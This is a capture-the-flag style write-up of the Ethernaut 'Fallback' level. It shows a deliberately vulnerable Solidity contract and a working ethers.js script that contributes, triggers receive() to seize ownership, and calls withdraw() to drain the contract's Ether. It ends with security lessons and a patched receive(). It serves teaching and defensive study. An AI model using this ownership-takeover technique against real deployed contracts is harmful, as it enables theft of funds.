Fallback Challenge - Ethernaut Level 1
Challenge Description
Challenge Goal
Claim ownership of the contract and then drain all Ether stored in it. This requires understanding how fallback functions work and can be triggered under specific conditions.
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}The Vulnerability
This contract has two key vulnerabilities:
- The
receive()function allows anyone who has made any contribution to become the owner by sending Ether directly to the contract. - The
withdraw()function allows the owner to drain all the contract's Ether.
The key insight is to understand how the receive() function gets triggered. In Solidity, the receive() function is called when Ether is sent to the contract without any data (function call).
The Exploit
To exploit this contract, we need to:
Steps to Exploit:
- Make a small contribution to the contract using the
contribute()function to satisfy thecontributions[msg.sender] > 0check - Send Ether directly to the contract address (without calling any function) to trigger the
receive()function - Call
withdraw()to drain all the Ether from the contract
Code Solution
// Get contract instance
const contract = await ethers.getContractAt("Fallback", INSTANCE_ADDRESS);
// Check initial owner
const initialOwner = await contract.owner();
console.log("Initial owner:", initialOwner);
// Step 1: Make a small contribution to satisfy contributions[msg.sender] > 0
await contract.contribute({ value: ethers.utils.parseEther("0.0001") });
console.log("Made initial contribution");
// Step 2: Send Ether directly to the contract to trigger receive() function
await (await ethers.getSigner()).sendTransaction({
to: contract.address,
value: ethers.utils.parseEther("0.0001")
});
console.log("Sent Ether directly to contract");
// Verify we are now the owner
const newOwner = await contract.owner();
console.log("New owner:", newOwner);
console.log("Our address:", await ethers.provider.getSigner().getAddress());
// Step 3: Withdraw all funds from the contract
await contract.withdraw();
console.log("Withdrawn all funds from contract");
// Verify contract balance is 0
const balance = await ethers.provider.getBalance(contract.address);
console.log("Contract balance:", ethers.utils.formatEther(balance));Security Lessons
- Fallback Function Security: Fallback functions (like
receive()) should be carefully designed and should not perform critical state changes like changing ownership. - Ownership Transfer: Ownership transfers should be performed through explicit functions with proper security checks, not as side effects.
- Access Control: Critical functions should have stringent access controls beyond just checking ownership.
- Multiple Condition Checks: Relying on multiple conditions for security (like
msg.value > 0 && contributions[msg.sender] > 0) can create unexpected paths to exploitation.
Prevention
Here's how you could improve this contract:
// Improved version
receive() external payable {
// Just accept the Ether, don't change critical state
}
// Separate, secure ownership transfer function
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner cannot be zero address");
owner = newOwner;
emit OwnershipTransferred(msg.sender, newOwner);
}The improved contract:
- Separates the concern of receiving Ether from changing ownership
- Implements a proper ownership transfer function with appropriate checks
- Emits events for important state changes for better transparency
Conclusion
The Fallback challenge demonstrates the importance of carefully designing fallback functions and not mixing concerns like receiving Ether with critical state changes such as ownership transfer. By understanding these principles, you can write more secure smart contracts that are resilient against such exploits.
Continue exploring the Ethernaut challenges to deepen your understanding of smart contract security.